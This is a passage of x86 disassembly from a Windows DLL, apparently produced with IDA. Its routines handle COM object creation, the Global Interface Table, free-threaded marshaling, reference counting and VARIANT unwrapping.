loc_69B88037: ; CODE XREF: sub_69B87FE8+10j
pop ebx
retn 0Ch
sub_69B87FE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8803B proc near ; CODE XREF: sub_69B45BAF+10p
; sub_69B7D61C+24p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, ecx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B87FE8
test eax, eax
jz short loc_69B88061
push [ebp+arg_8]
mov eax, [esi+0Ch]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx]
loc_69B88061: ; CODE XREF: sub_69B8803B+16j
pop esi
pop ebp
retn 0Ch
sub_69B8803B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B44884
loc_69B88066: ; CODE XREF: sub_69B44884+29j
; sub_69B455FC+29j ...
push esi
mov esi, ecx
call sub_69B2C65C
add esi, 0Ch
push esi
call sub_69B17230
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B44884
; =============== S U B R O U T I N E =======================================
sub_69B88079 proc near ; CODE XREF: sub_69B88228+9p
push 0Ch
push offset dword_69B880C8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
mov eax, [esi+18h]
test eax, eax
jz short loc_69B880BB
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B880BB
and dword ptr [ebp-4], 0
mov edx, [eax]
push ecx
push eax
call dword ptr [edx+10h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B880B7
; ---------------------------------------------------------------------------
loc_69B880A9: ; DATA XREF: .text:69B880CCo
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B880AD: ; DATA XREF: .text:69B880D0o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
loc_69B880B7: ; CODE XREF: sub_69B88079+2Ej
and dword ptr [esi+14h], 0
loc_69B880BB: ; CODE XREF: sub_69B88079+16j
; sub_69B88079+1Dj
and dword ptr [esi+0Ch], 0
call sub_69B1853C
retn
sub_69B88079 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B880C8 dd 0FFFFFFFFh dd offset loc_69B880A9
dd offset loc_69B880AD
; =============== S U B R O U T I N E =======================================
sub_69B880D4 proc near ; CODE XREF: sub_69B881B2+4Ap
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
mov esi, ecx
jz short loc_69B8810F
mov eax, [esi+18h]
mov ecx, [eax]
push edi
lea edx, [esi+14h]
push edx
push dword ptr [esi+8]
push ebx
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
test edi, edi
jnz short loc_69B88106
mov [esi+0Ch], ebx
call ds:GetCurrentThreadId ; GetCurrentThreadId
mov [esi+10h], eax
test edi, edi
loc_69B88106: ; CODE XREF: sub_69B880D4+22j
jge short loc_69B8810E
push edi
call sub_69B2E8B8
loc_69B8810E: ; CODE XREF: sub_69B880D4:loc_69B88106j
pop edi
loc_69B8810F: ; CODE XREF: sub_69B880D4+Aj
pop esi
pop ebx
retn 4
sub_69B880D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B88114 proc near ; CODE XREF: sub_69B3E475+13p
; sub_69B3E475+49p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi+0Ch]
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B8815B
call ds:GetCurrentThreadId ; GetCurrentThreadId
cmp [esi+10h], eax
jz short loc_69B8815B
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B8814C
mov eax, [esi+18h]
mov edx, [eax]
push edi
lea edi, [ebp+var_4]
push edi
push dword ptr [esi+8]
push ecx
push eax
call dword ptr [edx+14h]
pop edi
jmp short loc_69B88151
; ---------------------------------------------------------------------------
loc_69B8814C: ; CODE XREF: sub_69B88114+21j
mov eax, 8000FFFFh
loc_69B88151: ; CODE XREF: sub_69B88114+36j
test eax, eax
jge short loc_69B8815B
push eax
call sub_69B2E8B8
loc_69B8815B: ; CODE XREF: sub_69B88114+Fj
; sub_69B88114+1Aj ...
mov eax, [ebp+var_4]
pop esi
leave
retn
sub_69B88114 endp
; =============== S U B R O U T I N E =======================================
sub_69B88161 proc near ; CODE XREF: sub_69B8900B+1Ep
; sub_69B89C91+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push edi
mov edi, [esi+0Ch]
test edi, edi
jnz short loc_69B88173
mov eax, 80004005h
jmp short loc_69B881AD
; ---------------------------------------------------------------------------
loc_69B88173: ; CODE XREF: sub_69B88161+9j
call ds:GetCurrentThreadId ; GetCurrentThreadId
cmp [esi+10h], eax
jnz short loc_69B8818D
push [esp+8+arg_4]
mov eax, [edi]
push [esp+0Ch+arg_0]
push edi
call dword ptr [eax]
jmp short loc_69B881AD
; ---------------------------------------------------------------------------
loc_69B8818D: ; CODE XREF: sub_69B88161+1Bj
mov eax, [esi+14h]
test eax, eax
jz short loc_69B881A8
push [esp+8+arg_4]
mov esi, [esi+18h]
push [esp+0Ch+arg_0]
mov ecx, [esi]
push eax
push esi
call dword ptr [ecx+14h]
jmp short loc_69B881AD
; ---------------------------------------------------------------------------
loc_69B881A8: ; CODE XREF: sub_69B88161+31j
mov eax, 8000FFFFh
loc_69B881AD: ; CODE XREF: sub_69B88161+10j
; sub_69B88161+2Aj ...
pop edi
pop esi
retn 8
sub_69B88161 endp
; =============== S U B R O U T I N E =======================================
sub_69B881B2 proc near ; CODE XREF: sub_69B3B7F3+28p
; sub_69B3F0EC-16E3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push edi
mov [esi+8], eax
lea eax, [esi+18h]
push eax ; ppv
xor ecx, ecx
push offset stru_69B88218 ; riid
inc ecx
xor edi, edi
push ecx ; dwClsContext
push edi ; pUnkOuter
push offset stru_69B88208 ; rclsid
mov dword ptr [esi], offset off_69B2B190
mov [esi+4], ecx
mov [esi+0Ch], edi
mov [esi+10h], edi
mov [esi+14h], edi
mov [eax], edi
call ds:CoCreateInstance
cmp eax, edi
jge short loc_69B881F6
push eax
call sub_69B2E8B8
loc_69B881F6: ; CODE XREF: sub_69B881B2+3Cj
push [esp+8+arg_4]
mov ecx, esi
call sub_69B880D4
pop edi
mov eax, esi
pop esi
retn 8
sub_69B881B2 endp
; ---------------------------------------------------------------------------
; CLSID stru_69B88208
stru_69B88208 dd 323h ; Data1 ; DATA XREF: sub_69B881B2+1Bo
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
; IID stru_69B88218
stru_69B88218 dd 146h ; Data1 ; DATA XREF: sub_69B881B2+11o
dw 0 ; Data2
dw 0 ; Data3
db 0C0h, 6 dup(0), 46h ; Data4
; =============== S U B R O U T I N E =======================================
sub_69B88228 proc near ; CODE XREF: sub_69B88408+1Cp
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B2B190
call sub_69B88079
mov esi, [esi+18h]
test esi, esi
jz short loc_69B88243
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B88243: ; CODE XREF: sub_69B88228+13j
pop esi
retn
sub_69B88228 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_69B88245(LPUNKNOWN *ppunkMarshal, LPUNKNOWN punkOuter, int, int)
sub_69B88245 proc near ; CODE XREF: sub_69B1C12C+2E0Ep
; sub_69B1C04C+82CEp ...
punkOuter = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
cmp dword ptr [esi], 0
jnz short loc_69B8825C
push esi ; ppunkMarshal
push [esp+8+punkOuter] ; punkOuter
call ds:CoCreateFreeThreadedMarshaler
test eax, eax
jnz short loc_69B8826B
loc_69B8825C: ; CODE XREF: sub_69B88245+6j
push [esp+4+arg_8]
mov eax, [esi]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx]
loc_69B8826B: ; CODE XREF: sub_69B88245+15j
pop esi
retn 0Ch
sub_69B88245 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B8826F(LPUNKNOWN punkOuter, int, int)
sub_69B8826F proc near ; CODE XREF: .text:69B88497j
; DATA XREF: .text:off_69B88478o
var_4 = dword ptr -4
punkOuter = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
mov [ebp+var_4], 80004002h
jnz short loc_69B88287
mov eax, 80004003h
jmp short locret_69B88304
; ---------------------------------------------------------------------------
loc_69B88287: ; CODE XREF: sub_69B8826F+Fj
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
push 4
pop eax
mov ecx, eax
mov edi, offset stru_69B1CA6C
mov esi, edx
xor ebx, ebx
repe cmpsd
jz short loc_69B882EF
mov ecx, eax
mov edi, offset dword_69B2B040
mov esi, edx
xor ebx, ebx
repe cmpsd
jz short loc_69B882EF
mov ecx, eax
mov edi, offset dword_69B2B000
mov esi, edx
xor ebx, ebx
repe cmpsd
jnz short loc_69B882CE
mov eax, [ebp+punkOuter]
mov ecx, eax
add eax, 4
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
jmp short loc_69B882F2
; ---------------------------------------------------------------------------
loc_69B882CE: ; CODE XREF: sub_69B8826F+4Cj
mov ecx, eax
mov edi, offset dword_69B2B030
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B882FE
push [ebp+arg_8] ; int
mov eax, [ebp+punkOuter]
push edx ; int
push eax ; punkOuter
lea ecx, [eax+10h] ; ppunkMarshal
call sub_69B88245
jmp short loc_69B88301
; ---------------------------------------------------------------------------
loc_69B882EF: ; CODE XREF: sub_69B8826F+2Ej
; sub_69B8826F+3Dj
push [ebp+punkOuter]
loc_69B882F2: ; CODE XREF: sub_69B8826F+5Dj
push [ebp+arg_8]
call sub_69B17320
xor eax, eax
jmp short loc_69B88301
; ---------------------------------------------------------------------------
loc_69B882FE: ; CODE XREF: sub_69B8826F+6Cj
mov eax, [ebp+var_4]
loc_69B88301: ; CODE XREF: sub_69B8826F+7Ej
; sub_69B8826F+8Dj
pop edi
pop esi
pop ebx
locret_69B88304: ; CODE XREF: sub_69B8826F+16j
leave
retn 0Ch
sub_69B8826F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B88308 proc near ; DATA XREF: .text:69B88484o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_C], 0
mov [ebp+var_8], 80004002h
jnz short loc_69B88324
mov eax, 80004003h
jmp locret_69B883D4
; ---------------------------------------------------------------------------
loc_69B88324: ; CODE XREF: sub_69B88308+10j
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
push 4
mov ebx, offset dword_69B2B000
pop ecx
mov edi, ebx
xor eax, eax
repe cmpsd
mov esi, [ebp+arg_0]
jnz short loc_69B88374
and [ebp+arg_0], eax
mov eax, [esi+8]
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx]
test eax, eax
jnz short loc_69B88374
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [ebp+arg_0]
cmp eax, [esi+8]
jnz short loc_69B88374
push [ebp+arg_C]
mov eax, [esi]
push ebx
push esi
call dword ptr [eax]
test eax, eax
mov [ebp+var_8], eax
jge short loc_69B883CE
loc_69B88374: ; CODE XREF: sub_69B88308+33j
; sub_69B88308+49j ...
mov esi, [esi+8]
and [ebp+arg_0], 0
and [ebp+var_4], 0
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B2B0C0
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B883CE
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push offset dword_69B2B040
push eax
call dword ptr [ecx+10h]
test eax, eax
jl short loc_69B883C5
push [ebp+arg_C]
mov eax, [ebp+arg_0]
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B883C5: ; CODE XREF: sub_69B88308+9Dj
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B883CE: ; CODE XREF: sub_69B88308+6Aj
; sub_69B88308+87j
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
locret_69B883D4: ; CODE XREF: sub_69B88308+17j
leave
retn 10h
sub_69B88308 endp
; ---------------------------------------------------------------------------
loc_69B883D8: ; DATA XREF: .text:69B88470o
mov eax, [esp+8]
test eax, eax
jz short loc_69B88400
push 4
pop ecx
cmp [esp+0Ch], ecx
jnz short loc_69B88400
mov edx, [esp+4]
mov edx, [edx+4]
mov [eax], edx
mov eax, [esp+10h]
test eax, eax
jz short loc_69B883FC
mov [eax], ecx
loc_69B883FC: ; CODE XREF: .text:69B883F8j
xor eax, eax
jmp short locret_69B88405
; ---------------------------------------------------------------------------
loc_69B88400: ; CODE XREF: .text:69B883DEj
; .text:69B883E7j
mov eax, 80004005h
locret_69B88405: ; CODE XREF: .text:69B883FEj
retn 10h
; =============== S U B R O U T I N E =======================================
sub_69B88408 proc near ; DATA XREF: .text:69B2B198o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea eax, [esi+4]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_69B8842F
test esi, esi
jz short loc_69B8842F
mov ecx, esi
call sub_69B88228
push esi
call sub_69B1B2B7
loc_69B8842F: ; CODE XREF: sub_69B88408+14j
; sub_69B88408+18j
mov eax, edi
pop edi
pop esi
retn 4
sub_69B88408 endp
; =============== S U B R O U T I N E =======================================
sub_69B88436 proc near ; CODE XREF: sub_69B1C04C+817Cp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea ecx, [esi+8]
mov dword ptr [esi], offset off_69B88478
mov dword ptr [esi+4], offset off_69B88464
call sub_69B1E084
mov dword ptr [esi+0Ch], 1
and dword ptr [esi+10h], 0
mov eax, esi
pop esi
retn 4
sub_69B88436 endp
; ---------------------------------------------------------------------------
align 4
off_69B88464 dd offset loc_69B88492 ; DATA XREF: sub_69B88436+10o
dd offset loc_69B88488
dd offset loc_69B884E1
dd offset loc_69B883D8
dd offset sub_69B84A4B
off_69B88478 dd offset sub_69B8826F ; DATA XREF: sub_69B88436+Ao
dd offset sub_69B81BB0
dd offset sub_69B884B3
dd offset sub_69B88308
; ---------------------------------------------------------------------------
loc_69B88488: ; DATA XREF: .text:69B88468o
sub dword ptr [esp+4], 4
jmp sub_69B81BB0
; ---------------------------------------------------------------------------
loc_69B88492: ; DATA XREF: .text:off_69B88464o
sub dword ptr [esp+4], 4
jmp sub_69B8826F
; =============== S U B R O U T I N E =======================================
sub_69B8849C proc near ; CODE XREF: sub_69B884B3+1Cp
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
add esi, 8
push esi
call sub_69B17230
pop esi
retn
sub_69B8849C endp
; =============== S U B R O U T I N E =======================================
sub_69B884B3 proc near ; CODE XREF: .text:69B884E6j
; DATA XREF: .text:69B88480o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea eax, [esi+0Ch]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_69B884DA
test esi, esi
jz short loc_69B884DA
mov ecx, esi
call sub_69B8849C
push esi
call sub_69B1B2B7
loc_69B884DA: ; CODE XREF: sub_69B884B3+14j
; sub_69B884B3+18j
mov eax, edi
pop edi
pop esi
retn 4
sub_69B884B3 endp
; ---------------------------------------------------------------------------
loc_69B884E1: ; DATA XREF: .text:69B8846Co
sub dword ptr [esp+4], 4
jmp short sub_69B884B3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B884E8 proc near ; CODE XREF: sub_69B591E4+54p
; sub_69B884E8+3Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov cx, [eax]
push esi
xor esi, esi
cmp cx, 0Dh
mov [ebp+var_4], esi
jz short loc_69B88567
cmp cx, 9
jz short loc_69B88567
cmp cx, 400Dh
jz short loc_69B88556
cmp cx, 4009h
jz short loc_69B88556
cmp cx, 400Ch
jnz short loc_69B88537
mov eax, [eax+8]
cmp eax, esi
jz short loc_69B88530
push [ebp+arg_4]
push eax
call sub_69B884E8
mov [ebp+var_4], eax
cmp eax, esi
jmp short loc_69B88582
; ---------------------------------------------------------------------------
loc_69B88530: ; CODE XREF: sub_69B884E8+36j
mov eax, 80070057h
jmp short loc_69B88589
; ---------------------------------------------------------------------------
loc_69B88537: ; CODE XREF: sub_69B884E8+2Fj
cmp cx, 1
jz short loc_69B88552
cmp cx, si
jz short loc_69B88552
cmp cx, 0Ah
jz short loc_69B88552
push 80070057h
call sub_69B2E8B8
loc_69B88552: ; CODE XREF: sub_69B884E8+53j
; sub_69B884E8+58j ...
xor eax, eax
jmp short loc_69B88592
; ---------------------------------------------------------------------------
loc_69B88556: ; CODE XREF: sub_69B884E8+21j
; sub_69B884E8+28j
mov ecx, [eax+8]
cmp ecx, esi
jz short loc_69B88552
cmp [ecx], esi
jz short loc_69B88552
mov eax, ecx
mov eax, [eax]
jmp short loc_69B8856F
; ---------------------------------------------------------------------------
loc_69B88567: ; CODE XREF: sub_69B884E8+14j
; sub_69B884E8+1Aj
cmp [eax+8], esi
jz short loc_69B88552
mov eax, [eax+8]
loc_69B8856F: ; CODE XREF: sub_69B884E8+7Dj
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx]
cmp eax, esi
jnz short loc_69B88589
cmp [ebp+var_4], esi
loc_69B88582: ; CODE XREF: sub_69B884E8+46j
jnz short loc_69B8858F
mov eax, 80004005h
loc_69B88589: ; CODE XREF: sub_69B884E8+4Dj
; sub_69B884E8+95j
push eax
call sub_69B2E8B8
loc_69B8858F: ; CODE XREF: sub_69B884E8:loc_69B88582j
mov eax, [ebp+var_4]
loc_69B88592: ; CODE XREF: sub_69B884E8+6Cj
pop esi
leave
retn 8
sub_69B884E8 endp
; =============== S U B R O U T I N E =======================================
sub_69B88597 proc near ; CODE XREF: sub_69B4311C+4Ep
; sub_69B475B7+5Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
jmp short loc_69B885B8
; ---------------------------------------------------------------------------
loc_69B885A0: ; CODE XREF: sub_69B88597+23j
movzx ecx, word ptr [eax]
cmp ecx, 0Dh
jle short loc_69B885D4
sub ecx, 4009h
jz short loc_69B885F0
sub ecx, 3
jnz short loc_69B885BE
mov eax, [eax+8]
loc_69B885B8: ; CODE XREF: sub_69B88597+7j
test eax, eax
jnz short loc_69B885A0
jmp short loc_69B885F9
; ---------------------------------------------------------------------------
loc_69B885BE: ; CODE XREF: sub_69B88597+1Cj
dec ecx
jz short loc_69B885F0
loc_69B885C1: ; CODE XREF: sub_69B88597+41j
; sub_69B88597+50j
cmp [esp+4+arg_4], 0
jz short loc_69B885F9
push 80070057h
call sub_69B2E8B8
jmp short loc_69B885F9
; ---------------------------------------------------------------------------
loc_69B885D4: ; CODE XREF: sub_69B88597+Fj
jz short loc_69B885EB
test ecx, ecx
jl short loc_69B885C1
cmp ecx, 1
jle short loc_69B885F9
cmp ecx, 9
jz short loc_69B885EB
cmp ecx, 0Ah
jnz short loc_69B885C1
jmp short loc_69B885F9
; ---------------------------------------------------------------------------
loc_69B885EB: ; CODE XREF: sub_69B88597:loc_69B885D4j
; sub_69B88597+4Bj
mov esi, [eax+8]
jmp short loc_69B885F9
; ---------------------------------------------------------------------------
loc_69B885F0: ; CODE XREF: sub_69B88597+17j
; sub_69B88597+28j
mov eax, [eax+8]
test eax, eax
jz short loc_69B885F9
mov esi, [eax]
loc_69B885F9: ; CODE XREF: sub_69B88597+25j
; sub_69B88597+2Fj ...
mov eax, esi
pop esi
retn 8
sub_69B88597 endp
; =============== S U B R O U T I N E =======================================
sub_69B885FF proc near ; CODE XREF: sub_69B475B7+3Bp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
jmp short loc_69B8860E
; ---------------------------------------------------------------------------
loc_69B88605: ; CODE XREF: sub_69B885FF+16j
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_69B88617
xor eax, eax
loc_69B8860E: ; CODE XREF: sub_69B885FF+4j
mov ax, [ecx]
cmp ax, 400Ch
jz short loc_69B88605
loc_69B88617: ; CODE XREF: sub_69B885FF+Bj
and ax, 0BFFFh
retn 4
sub_69B885FF endp
; =============== S U B R O U T I N E =======================================
sub_69B8861E proc near ; CODE XREF: sub_69B21A88+5Bp
; sub_69B21A88+72p ...
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
jnz sub_69B2E8B8
retn 4
sub_69B8861E endp
; =============== S U B R O U T I N E =======================================
sub_69B8862C proc near ; CODE XREF: sub_69B70860+29p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jge short loc_69B8863B
push esi
call sub_69B2E8B8
loc_69B8863B: ; CODE XREF: sub_69B8862C+7j
mov eax, esi
pop esi
retn 4
sub_69B8862C endp
; =============== S U B R O U T I N E =======================================
sub_69B88641 proc near ; DATA XREF: .text:69B16C44o
mov eax, offset off_69B88648
retn
sub_69B88641 endp
; ---------------------------------------------------------------------------
align 4
off_69B88648 dd offset dword_69B18894 ; DATA XREF: sub_69B88641o
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B88650 proc near ; CODE XREF: .text:69B88752j
; DATA XREF: .text:off_69B16C28o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2AFF0
xor eax, eax
repe cmpsd
pop edi
pop esi
jnz short loc_69B88687
mov eax, [ebp+arg_0]
mov ecx, eax
neg ecx
lea edx, [eax+8]
sbb ecx, ecx
and ecx, edx
mov edx, [ebp+arg_8]
mov [edx], ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B88687: ; CODE XREF: sub_69B88650+16j
pop ebp
jmp sub_69B2D67E
sub_69B88650 endp
; =============== S U B R O U T I N E =======================================
sub_69B8868D proc near ; DATA XREF: .text:69B16C00o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_8]
mov eax, esi
shr eax, 1
push eax
mov eax, [esp+8+arg_0]
mov ecx, [eax+10h]
push 0
push [esp+0Ch+arg_4]
call sub_69B88E3F
mov eax, [esp+4+arg_C]
test eax, eax
jz short loc_69B886B3
mov [eax], esi
loc_69B886B3: ; CODE XREF: sub_69B8868D+22j
xor eax, eax
pop esi
retn 10h
sub_69B8868D endp
; =============== S U B R O U T I N E =======================================
sub_69B886B9 proc near ; CODE XREF: sub_69B886D8+51p
mov eax, [ecx+10h]
cmp eax, [ecx+0Ch]
jge short loc_69B886D4
lea edx, [eax+1]
mov [ecx+10h], edx
mov ecx, [ecx+14h]
push eax
call sub_69B2EDBF
movzx eax, ax
retn
; ---------------------------------------------------------------------------
loc_69B886D4: ; CODE XREF: sub_69B886B9+6j
or eax, 0FFFFFFFFh
retn
sub_69B886B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B886D8 proc near ; DATA XREF: .text:69B16BFCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
cmp ecx, [eax+4]
push ebx
jnz short loc_69B886EC
xor eax, eax
inc eax
jmp short loc_69B886F6
; ---------------------------------------------------------------------------
loc_69B886EC: ; CODE XREF: sub_69B886D8+Dj
mov ebx, [ebp+arg_8]
cmp ebx, 4
ja short loc_69B886FE
xor eax, eax
loc_69B886F6: ; CODE XREF: sub_69B886D8+12j
mov ecx, [ebp+arg_C]
and dword ptr [ecx], 0
jmp short loc_69B88748
; ---------------------------------------------------------------------------
loc_69B886FE: ; CODE XREF: sub_69B886D8+1Aj
push esi
xor esi, esi
shr ebx, 1
cmp [eax+14h], esi
push edi
mov edi, [ebp+arg_4]
jz short loc_69B8871C
mov cx, ds:word_69B26230
inc esi
mov [edi], cx
dec ebx
and dword ptr [eax+14h], 0
loc_69B8871C: ; CODE XREF: sub_69B886D8+32j
cmp esi, ebx
jnb short loc_69B8873C
add eax, 0FFFFFFF8h
mov [ebp+arg_0], eax
loc_69B88726: ; CODE XREF: sub_69B886D8+62j
mov ecx, [ebp+arg_0]
call sub_69B886B9
cmp eax, 0FFFFFFFFh
jz short loc_69B8873C
mov [edi+esi*2], ax
inc esi
cmp esi, ebx
jb short loc_69B88726
loc_69B8873C: ; CODE XREF: sub_69B886D8+46j
; sub_69B886D8+59j
mov ecx, [ebp+arg_C]
lea eax, [esi+esi]
pop edi
mov [ecx], eax
xor eax, eax
pop esi
loc_69B88748: ; CODE XREF: sub_69B886D8+24j
pop ebx
pop ebp
retn 10h
sub_69B886D8 endp
; ---------------------------------------------------------------------------
loc_69B8874D: ; DATA XREF: .text:off_69B16BF0o
sub dword ptr [esp+4], 8
jmp sub_69B88650
; =============== S U B R O U T I N E =======================================
sub_69B88757 proc near ; DATA XREF: .text:69B16C5Co
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B88757 endp
; =============== S U B R O U T I N E =======================================
sub_69B88778 proc near ; DATA XREF: .text:69B16C34o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B88793
test [esp+4+arg_0], 1
jz short loc_69B8878D
push esi
call sub_69B1829F
loc_69B8878D: ; CODE XREF: sub_69B88778+Dj
mov eax, esi
pop esi
retn 4
sub_69B88778 endp
; =============== S U B R O U T I N E =======================================
sub_69B88793 proc near ; CODE XREF: sub_69B88778+3p
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B88793 endp
; =============== S U B R O U T I N E =======================================
sub_69B887B0 proc near ; CODE XREF: sub_69B3F10D+19p
arg_0 = dword ptr 4
push esi
push edi
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B887C8
mov ecx, eax
call sub_69B16BC8
mov esi, eax
jmp short loc_69B887CA
; ---------------------------------------------------------------------------
loc_69B887C8: ; CODE XREF: sub_69B887B0+Bj
xor esi, esi
loc_69B887CA: ; CODE XREF: sub_69B887B0+16j
mov edi, [esp+8+arg_0]
push edi
lea eax, [esi+14h]
push eax
call sub_69B17320
mov eax, [edi+8]
and dword ptr [esi+10h], 0
mov [esi+0Ch], eax
pop edi
mov eax, esi
pop esi
retn 4
sub_69B887B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B887E9 proc near ; CODE XREF: sub_69B42B4C+6Dp
; sub_69B46C54+21p ...
arg_0 = dword ptr 4
push esi
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B88800
mov ecx, eax
call sub_69B16BC8
mov esi, eax
jmp short loc_69B88802
; ---------------------------------------------------------------------------
loc_69B88800: ; CODE XREF: sub_69B887E9+Aj
xor esi, esi
loc_69B88802: ; CODE XREF: sub_69B887E9+15j
push [esp+4+arg_0]
lea eax, [esi+18h]
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 4
sub_69B887E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B88815 proc near ; DATA XREF: .text:69B14CB8o
push 30h
push offset dword_69B888C8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B8883A
mov eax, 80004005h
jmp loc_69B888BB
; ---------------------------------------------------------------------------
loc_69B8883A: ; CODE XREF: sub_69B88815+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B88862
mov ebx, 80070057h
jmp short loc_69B888A0
; ---------------------------------------------------------------------------
loc_69B88862: ; CODE XREF: sub_69B88815+44j
mov [ebp-4], ebx
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
lea edx, [ebp-40h]
push edx
call dword ptr [eax+38h]
mov esi, eax
movsd
movsd
movsd
movsd
jmp short loc_69B8889C
; ---------------------------------------------------------------------------
loc_69B8887C: ; DATA XREF: .text:69B888CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
